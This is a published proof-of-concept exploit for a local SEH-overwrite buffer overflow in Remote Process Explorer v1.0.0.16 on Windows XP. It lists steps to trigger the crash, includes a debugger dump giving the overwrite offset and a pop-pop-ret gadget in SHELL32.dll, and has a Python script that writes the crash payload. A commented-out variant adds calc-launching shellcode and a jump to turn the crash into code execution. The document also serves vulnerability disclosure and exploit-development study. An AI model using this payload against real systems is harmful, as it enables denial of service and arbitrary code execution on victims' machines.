# Exploit Title: Remote Process Explorer v1.0.0.16 - Denial of Service (PoC) and SEH overwritten Crash PoC # Discovery by: Rafael Pedrero # Discovery Date: 2019-01-30 # Vendor Homepage: http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16 # Software Link : http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16 # Tested Version: 1.0.0.16 # Tested on: Windows XP SP3 # Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow # Steps to Produce the Crash: # 1.- Run rpexplorer.exe # 2.- copy content rpexplorer_Crash.txt to clipboard (result from this python script) # 3.- Go to "Add computer" and paste the result in the first textbox and click in Add button. # 4.- Select "AAAAAAAAA...." computer, right mouse button and Connect and you will see a crash. ''' Detect: SEH chain of thread 00000144 Address SE handler 0114FEC8 78413977 41387741 *** CORRUPT ENTRY *** EAX 0114FEBC ECX 0114FEC0 ASCII "w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B EDX 41347741 EBX 0116236C ESP 0114FBF0 EBP 0114FEC0 ASCII "w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B ESI 000000D4 EDI 00000000 EIP 00404F48 rpexplor.00404F48 C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDC000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G) ST0 empty ST1 empty ST2 empty ST3 empty ST4 empty ST5 empty ST6 empty ST7 empty 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 1272 Prec NEAR,53 Mask 1 1 0 0 1 0 Log data, item 24 Address=0BADF00D Message= SEH record (nseh field) at 0x0114fec8 overwritten with normal pattern : 0x41387741 (offset 684), followed by 308 bytes of cyclic data after the handler Check after script: SEH chain of thread 00000D04 Address SE handler 0114FEC8 43434343 42424242 *** CORRUPT ENTRY *** Log data, item 53 Address=7E6E5E50 Message= 0x7e6e5e50 : pop ebx # pop ebp # ret 0x04 | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) ''' #!/usr/bin/env python ''' calc = ("\x31\xC9" # xor ecx,ecx "\x51" # push ecx "\x68\x63\x61\x6C\x63" # push 0x636c6163 "\x54" # push dword ptr esp "\xB8\xC7\x93\xC2\x77" # mov eax,0x77c293c7 "\xFF\xD0") # call eax ''' crash = "\x41" * 684 + "BBBB" + "CCCC" #crash = "\x41" * 684 + "\xEB\x14\x90\x90" + "\x50\x5e\x6e\x7e" + "\x90" * 24 + calc + "A"*(1000 - 32) f = open ("rpexplorer_Crash.txt", "w") f.write(crash) f.close()